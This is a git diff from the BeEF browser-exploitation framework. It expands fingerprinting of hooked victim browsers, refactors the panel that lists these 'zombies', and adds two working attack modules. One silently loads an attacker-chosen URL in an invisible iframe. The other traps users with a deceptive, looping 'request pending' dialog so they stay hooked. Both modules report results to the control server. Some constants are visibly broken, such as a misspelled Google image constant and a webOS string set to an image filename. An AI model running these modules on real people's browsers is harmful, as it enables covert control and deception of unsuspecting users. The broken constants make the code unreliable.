diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js
index f498c53ac..3376aceea 100644
--- a/core/main/client/hardware.js
+++ b/core/main/client/hardware.js
@@ -49,25 +49,42 @@ beef.hardware = {
return (this.ua.match('Kindle')) ? true : false;
},
+ isHtc: function() {
+ return (this.ua.match('HTC')) ? true : false;
+ },
+
+ isEricsson: function() {
+ return (this.ua.match('Ericsson')) ? true : false;
+ },
+
+ isNokia: function() {
+ return (this.ua.match('Nokia')) ? true : false;
+ },
+
+ isMotorola: function() {
+ return (this.ua.match('Motorola')) ? true : false;
+ },
+
+ isGoogle: function() {
+ return (this.ua.match('Nexus One')) ? true : false;
+ },
+
getName: function() {
- if(this.isNokia()) {
-
- if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
- if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
- if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
-
- //return 'Nokia';
- }
-
+ if (this.isNokia()) return 'Nokia';
if (this.isWinPhone()) return 'Windows Phone';
if (this.isBlackBerry()) return 'BlackBerry';
if (this.isIphone()) return 'iPhone';
if (this.isIpad()) return 'iPad';
if (this.isIpod()) return 'iPod';
if (this.isKindle()) return 'Kindle';
+ if (this.isHtc()) return 'HTC';
+ if (this.isMotorola()) return 'Motorola';
+ if (this.isZune()) return 'Zune';
+ if (this.isGoogle()) return 'Google';
+ if (this.isEricsson()) return 'Ericsson';
- return 'unknown';
+ return 'Unknown';
}
};
diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb
index 63958a210..12386ef78 100644
--- a/core/main/constants/hardware.rb
+++ b/core/main/constants/hardware.rb
@@ -30,15 +30,23 @@ module Constants
HW_IPOD_IMG = 'ipod.jpg'
HW_BLACKBERRY_UA_STR = 'BlackBerry'
HW_BLACKBERRY_IMG = 'blackberry.png'
- HW_ANDROID_UA_STR = 'Android'
- HW_ANDROID_IMG = 'android.png'
HW_WINPHONE_UA_STR = 'Windows Phone'
HW_WINPHONE_IMG = 'win.png'
HW_ZUNE_UA_STR = 'ZuneWP7'
HW_ZUNE_IMG = 'zune.gif'
HW_KINDLE_UA_STR = 'Kindle'
HW_KINDLE_IMG = 'kindle.png'
- HW_ALL_UA_STR = 'All'
+ HW_NOKIA_UA_STR = 'Nokia'
+ HW_NOKIA_IMG = 'nokia.ico'
+ HW_HTC_UA_STR = 'HTC'
+ HW_HTC_IMG = 'htc.ico'
+ HW_MOTOROLA_UA_STR = 'motorola'
+ HW_MOTOROLA_IMG = 'motorola.png'
+ HW_GOOGLE_UA_STR = 'Nexus One'
+ HE_GOOGLE_IM = 'nexus.png'
+ HW_ERICSSON_UA_STR = 'Ericsson'
+ HW_ERICSSON_IMG = 'sony_ericsson.png'
+ HW_ALL_UA_STR = 'All'
# Attempt to match operating system string to constant
# @param [String] name Name of operating system
@@ -53,14 +61,22 @@ module Constants
HW_IPOD_UA_STR
when /blackberry/
HW_BLACKBERRY_UA_STR
- when /android/
- HW_ANDROID_UA_STR
when /windows phone/
HW_WINPHONE_UA_STR
when /zune/
HW_ZUNE_UA_STR
when /kindle/
HW_KINDLE_UA_STR
+ when /nokia/
+ HW_NOKIA_UA_STR
+ when /motorola/
+ HW_MOTOROLA_UA_STR
+ when /htc/
+ HW_HTC_UA_STR
+ when /google/
+ HW_GOOGLE_UA_STR
+ when /ericsson/
+ HW_ERICSSON_UA_STR
else
'ALL'
end
diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb
index 15c8a1b67..7f94ba0c4 100644
--- a/core/main/constants/os.rb
+++ b/core/main/constants/os.rb
@@ -15,73 +15,74 @@
#
module BeEF
-module Core
-module Constants
-
- # @note The OS'es strings for os detection.
- module Os
-
- OS_UNKNOWN_IMG = 'unknown.png'
- OS_WINDOWS_UA_STR = 'Windows'
- OS_WINDOWS_IMG = 'win.png'
- OS_LINUX_UA_STR = 'Linux'
- OS_LINUX_IMG = 'linux.png'
- OS_MAC_UA_STR = 'Mac'
- OS_MAC_IMG = 'mac.png'
- OS_QNX_UA_STR = 'QNX'
- OS_QNX_IMG = 'qnx.ico'
- OS_BEOS_UA_STR = 'BeOS'
- OS_BEOS_IMG = 'beos.png'
- OS_OPENBSD_UA_STR = 'OpenBSD'
- OS_OPENBSD_IMG = 'openbsd.ico'
- OS_IOS_UA_STR = 'iOS'
- OS_IOS_IMG = 'ios.png'
- OS_IPHONE_UA_STR = 'iPhone'
- OS_IPHONE_IMG = 'iphone.jpg'
- OS_IPAD_UA_STR = 'iPad'
- OS_IPAD_IMG = 'ipad.png'
- OS_IPOD_UA_STR = 'iPod'
- OS_IPOD_IMG = 'ipod.jpg'
- OS_MAEMO_UA_STR = 'Maemo'
- OS_MAEMO_IMG = 'maemo.ico'
- OS_BLACKBERRY_UA_STR = 'BlackBerry'
- OS_BLACKBERRY_IMG = 'blackberry.png'
- OS_ANDROID_UA_STR = 'Android'
- OS_ANDROID_IMG = 'android.png'
- OS_ALL_UA_STR = 'All'
+ module Core
+ module Constants
+
+ # @note The OS'es strings for os detection.
+ module Os
+
+ OS_UNKNOWN_IMG = 'unknown.png'
+ OS_WINDOWS_UA_STR = 'Windows'
+ OS_WINDOWS_IMG = 'win.png'
+ OS_LINUX_UA_STR = 'Linux'
+ OS_LINUX_IMG = 'linux.png'
+ OS_MAC_UA_STR = 'Mac'
+ OS_MAC_IMG = 'mac.png'
+ OS_QNX_UA_STR = 'QNX'
+ OS_QNX_IMG = 'qnx.ico'
+ OS_BEOS_UA_STR = 'BeOS'
+ OS_BEOS_IMG = 'beos.png'
+ OS_OPENBSD_UA_STR = 'OpenBSD'
+ OS_OPENBSD_IMG = 'openbsd.ico'
+ OS_IOS_UA_STR = 'iOS'
+ OS_IOS_IMG = 'ios.png'
+ OS_IPHONE_UA_STR = 'iPhone'
+ OS_WEBOS_UA_STR = 'webos.png'
+ OS_IPHONE_IMG = 'iphone.jpg'
+ OS_IPAD_UA_STR = 'iPad'
+ OS_IPAD_IMG = 'ipad.png'
+ OS_IPOD_UA_STR = 'iPod'
+ OS_IPOD_IMG = 'ipod.jpg'
+ OS_MAEMO_UA_STR = 'Maemo'
+ OS_MAEMO_IMG = 'maemo.ico'
+ OS_BLACKBERRY_UA_STR = 'BlackBerry'
+ OS_BLACKBERRY_IMG = 'blackberry.png'
+ OS_ANDROID_UA_STR = 'Android'
+ OS_ANDROID_IMG = 'android.png'
+ OS_ALL_UA_STR = 'All'
# Attempt to match operating system string to constant
# @param [String] name Name of operating system
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
- def self.match_os(name)
- case name.downcase
- when /win/
- OS_WINDOWS_UA_STR
- when /lin/
- OS_LINUX_UA_STR
- when /os x/, /osx/, /mac/
- OS_MAC_UA_STR
- when /qnx/
- OS_QNX_UA_STR
- when /beos/
- OS_BEOS_UA_STR
- when /openbsd/
- OS_OPENBSD_UA_STR
- when /ios/, /iphone/, /ipad/, /ipod/
- OS_IOS_UA_STR
- when /maemo/
- OS_MAEMO_UA_STR
- when /blackberry/
- OS_BLACKBERRY_UA_STR
- when /android/
- OS_ANDROID_UA_STR
- else
- 'ALL'
- end
- end
-
+ def self.match_os(name)
+ case name.downcase
+ when /win/
+ OS_WINDOWS_UA_STR
+ when /lin/
+ OS_LINUX_UA_STR
+ when /os x/, /osx/, /mac/
+ OS_MAC_UA_STR
+ when /qnx/
+ OS_QNX_UA_STR
+ when /beos/
+ OS_BEOS_UA_STR
+ when /openbsd/
+ OS_OPENBSD_UA_STR
+ when /ios/, /iphone/, /ipad/, /ipod/
+ OS_IOS_UA_STR
+ when /maemo/
+ OS_MAEMO_UA_STR
+ when /blackberry/
+ OS_BLACKBERRY_UA_STR
+ when /android/
+ OS_ANDROID_UA_STR
+ else
+ 'ALL'
+ end
+ end
+
+ end
+
+ end
end
-
-end
-end
end
diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb
index ae3868691..3ac2cd2af 100644
--- a/core/main/models/browserdetails.rb
+++ b/core/main/models/browserdetails.rb
@@ -118,9 +118,16 @@ module Models
return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR
return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_BLACKBERRY_UA_STR
return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR
return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR
return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_KINDLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_KINDLE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_NOKIA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_NOKIA_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_MOTOROLA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_MOTOROLA_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_HTC_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_HTC_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_GOOGLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_GOOGLE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_ERICSSON_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ERICSSON_UA_STR
BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index 6c101681a..a1a35998b 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -14,114 +14,115 @@
# limitations under the License.
#
module BeEF
-module Extension
-module AdminUI
-module Controllers
+ module Extension
+ module AdminUI
+ module Controllers
#
#
#
-class Panel < BeEF::Extension::AdminUI::HttpController
-
- def initialize
- super({
- 'paths' => {
- '/' => method(:index),
- '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
- }
- })
- end
-
- # default index page
- def index; end
-
- # return a JSON object contains all the updates for the hooked browser trees
- def hooked_browser_tree_update
- # retrieve the hbs that are online
- hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
-
- # retrieve the hbs that are offline
- hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
-
- # retrieve the distributed engine rules that are enabled
- distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
-
- # hash that gets populated with all the information for the hb trees
- ret = {
- 'success' => true,
-
- # the list of hb
- 'hooked-browsers' => {
- 'online' => hooked_browsers_online,
- 'offline' => hooked_browsers_offline
- },
-
- # the rules for the distributed engine
- 'ditributed-engine-rules' => distributed_engine_rules
- }
-
- @body = ret.to_json
- end
-
- # Takes a list distributed engine rules and format the results into JSON
- def distributed_engine_rules_2_json_simple(rules)
+ class Panel < BeEF::Extension::AdminUI::HttpController
- end
-
- # Takes a list of zombies and format the results in a JSON array.
- def zombies2json_simple(zombies)
- zombies_hash = {}
- i = 0
-
- zombies.each do |zombie|
- # create hash of zombie details
- zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
- i+=1
+ def initialize
+ super({
+ 'paths' => {
+ '/' => method(:index),
+ '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
+ }
+ })
+ end
+
+ # default index page
+ def index;
+ end
+
+ # return a JSON object contains all the updates for the hooked browser trees
+ def hooked_browser_tree_update
+ # retrieve the hbs that are online
+ hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
+
+ # retrieve the hbs that are offline
+ hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
+
+ # retrieve the distributed engine rules that are enabled
+ distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
+
+ # hash that gets populated with all the information for the hb trees
+ ret = {
+ 'success' => true,
+
+ # the list of hb
+ 'hooked-browsers' => {
+ 'online' => hooked_browsers_online,
+ 'offline' => hooked_browsers_offline
+ },
+
+ # the rules for the distributed engine
+ 'ditributed-engine-rules' => distributed_engine_rules
+ }
+
+ @body = ret.to_json
+ end
+
+ # Takes a list distributed engine rules and format the results into JSON
+ def distributed_engine_rules_2_json_simple(rules)
+
+ end
+
+ # Takes a list of zombies and format the results in a JSON array.
+ def zombies2json_simple(zombies)
+ zombies_hash = {}
+ i = 0
+
+ zombies.each do |zombie|
+ # create hash of zombie details
+ zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
+ i+=1
+ end
+
+ zombies_hash
+ end
+
+ # create a hash of simple hooked browser details
+ def get_simple_hooked_browser_hash(hooked_browser)
+
+ browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
+ browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
+ browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
+ os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
+ os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
+ hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
+ hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
+ domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
+ has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
+ has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
+ has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
+ has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
+ date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
+
+ return {
+ 'session' => hooked_browser.session,
+ 'ip' => hooked_browser.ip,
+ 'domain' => domain,
+ 'port' => hooked_browser.port.to_s,
+ 'browser_name' => browser_name,
+ 'browser_version' => browser_version,
+ 'browser_icon' => browser_icon,
+ 'os_icon' => os_icon,
+ 'os_name' => os_name,
+ 'hw_icon' => hw_icon,
+ 'hw_name' => hw_name,
+ 'has_flash' => has_flash,
+ 'has_web_sockets' => has_web_sockets,
+ 'has_googlegears' => has_googlegears,
+ 'has_java' => has_java,
+ 'date_stamp' => date_stamp
+ }
+
+ end
+ end
+
+ end
end
-
- zombies_hash
- end
-
- # create a hash of simple hooked browser details
- def get_simple_hooked_browser_hash(hooked_browser)
-
- browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
- browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
- browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
- os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
- os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
- hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
- hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
- domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
- has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
- has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
- has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
- has_phonegap = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasPhonegap')
- date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
-
- return {
- 'session' => hooked_browser.session,
- 'ip' => hooked_browser.ip,
- 'domain' => domain,
- 'port' => hooked_browser.port.to_s,
- 'browser_name' => browser_name,
- 'browser_version' => browser_version,
- 'browser_icon' => browser_icon,
- 'os_icon' => os_icon,
- 'os_name' => os_name,
- 'hw_icon' => hw_icon,
- 'hw_name' => hw_name,
- 'has_flash' => has_flash,
- 'has_web_sockets' => has_web_sockets,
- 'has_googlegears' => has_googlegears,
- 'has_phonegap' => has_phonegap,
- 'date_stamp' => date_stamp
- }
-
end
end
-
-end
-end
-end
-end
diff --git a/extensions/admin_ui/media/images/icons/htc.ico b/extensions/admin_ui/media/images/icons/htc.ico
new file mode 100644
index 000000000..a4b722423
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/htc.ico differ
diff --git a/extensions/admin_ui/media/images/icons/ios.png b/extensions/admin_ui/media/images/icons/ios.png
index de94a27ce..a3477139c 100644
Binary files a/extensions/admin_ui/media/images/icons/ios.png and b/extensions/admin_ui/media/images/icons/ios.png differ
diff --git a/extensions/admin_ui/media/images/icons/motorola.png b/extensions/admin_ui/media/images/icons/motorola.png
new file mode 100644
index 000000000..fee6d6e65
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/motorola.png differ
diff --git a/extensions/admin_ui/media/images/icons/nexus.png b/extensions/admin_ui/media/images/icons/nexus.png
new file mode 100644
index 000000000..16ffc743b
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/nexus.png differ
diff --git a/extensions/admin_ui/media/images/icons/nokia.ico b/extensions/admin_ui/media/images/icons/nokia.ico
new file mode 100644
index 000000000..fe5497301
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/nokia.ico differ
diff --git a/extensions/admin_ui/media/images/icons/sony_ericsson.png b/extensions/admin_ui/media/images/icons/sony_ericsson.png
new file mode 100644
index 000000000..1dab4a8d2
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/sony_ericsson.png differ
diff --git a/extensions/admin_ui/media/images/icons/webos.png b/extensions/admin_ui/media/images/icons/webos.png
new file mode 100644
index 000000000..d5c0b70d7
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/webos.png differ
diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
index e161c8209..347f7b97d 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
@@ -35,7 +35,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
var has_flash = zombie_array[index]["has_flash"];
var has_web_sockets = zombie_array[index]["has_web_sockets"];
var has_googlegears = zombie_array[index]["has_googlegears"];
- var has_phonegap = zombie_array[index]["has_phonegap"];
+ var has_java = zombie_array[index]["has_java"];
var date_stamp = zombie_array[index]["date_stamp"];
text = "
";
@@ -49,9 +49,9 @@ var ZombiesMgr = function(zombies_tree_lists) {
balloon_text+= "
Hardware: " + hw_name;
balloon_text+= "
Domain: " + domain + ":" + port;
balloon_text+= "
Flash: " + has_flash;
- balloon_text+= "
Web Sockets: " + has_web_sockets;
+ balloon_text+= "
Java: " + has_java;
+ balloon_text+= "
Web Sockets: " + has_web_sockets;
balloon_text+= "
Google Gears: " + has_googlegears;
- balloon_text+= "
Phonegap API: " + has_phonegap;
balloon_text+= "
Date: " + date_stamp;
var new_zombie = {
diff --git a/modules/misc/invisible_iframe/command.js b/modules/misc/invisible_iframe/command.js
new file mode 100644
index 000000000..a0763583c
--- /dev/null
+++ b/modules/misc/invisible_iframe/command.js
@@ -0,0 +1,24 @@
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+beef.execute(function() {
+
+ var target = "<%= @target %>";
+ var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
+ iframe_<%= @command_id %>.setAttribute('src', target);
+
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=IFrame created');
+
+});
diff --git a/modules/misc/invisible_iframe/config.yaml b/modules/misc/invisible_iframe/config.yaml
new file mode 100644
index 000000000..b391c048a
--- /dev/null
+++ b/modules/misc/invisible_iframe/config.yaml
@@ -0,0 +1,25 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+beef:
+ module:
+ invisible_iframe:
+ enable: true
+ category: "Misc"
+ name: "Create Invisible Iframe"
+ description: "Creates an invisible iframe."
+ authors: ["bcoles"]
+ target:
+ working: ["ALL"]
diff --git a/modules/misc/invisible_iframe/module.rb b/modules/misc/invisible_iframe/module.rb
new file mode 100644
index 000000000..1bfb45b60
--- /dev/null
+++ b/modules/misc/invisible_iframe/module.rb
@@ -0,0 +1,28 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+class Invisible_iframe < BeEF::Core::Command
+
+ def self.options
+ return [
+ {'name' => 'target', 'ui_label' => 'URL', 'value' => 'http://beefproject.com/'}
+ ]
+ end
+
+ def post_execute
+ save({'result' => @datastore['result']})
+ end
+
+end
diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js
new file mode 100644
index 000000000..1609bcab7
--- /dev/null
+++ b/modules/persistence/confirm_close_tab/command.js
@@ -0,0 +1,45 @@
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+beef.execute(function() {
+
+ function display_confirm(){
+ if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")){
+ display_confirm();
+ }
+ }
+
+ function dontleave(e){
+ e = e || window.event;
+
+ if(beef.browser.isIE()){
+ e.cancelBubble = true;
+ e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away.";
+ }else{
+ if (e.stopPropagation) {
+ e.stopPropagation();
+ e.preventDefault();
+ }
+ }
+
+ //re-display the confirm dialog if the user clicks OK (to leave the page)
+ display_confirm();
+ return "There is currently a request to the server pending. You will lose recent changes by navigating away.";
+ }
+
+ window.onbeforeunload = dontleave;
+
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully');
+});
diff --git a/modules/persistence/confirm_close_tab/config.yaml b/modules/persistence/confirm_close_tab/config.yaml
new file mode 100644
index 000000000..62bcd36e6
--- /dev/null
+++ b/modules/persistence/confirm_close_tab/config.yaml
@@ -0,0 +1,26 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+beef:
+ module:
+ confirm_close_tab:
+ enable: true
+ category: "Persistence"
+ name: "Confirm Close Tab"
+ description: "Shows a confirm dialog to the user when he tries to close a tab. If he click yes, re-display the confirm dialog. Doesn't work on Opera < 12"
+ authors: ["antisnatchor"]
+ target:
+ user_notify: ["ALL"]
+ not_working: ["O"]
\ No newline at end of file
diff --git a/modules/persistence/confirm_close_tab/module.rb b/modules/persistence/confirm_close_tab/module.rb
new file mode 100644
index 000000000..e38abbfd5
--- /dev/null
+++ b/modules/persistence/confirm_close_tab/module.rb
@@ -0,0 +1,22 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+class Confirm_close_tab < BeEF::Core::Command
+
+ def post_execute
+ save({'result' => @datastore['result']})
+ end
+
+end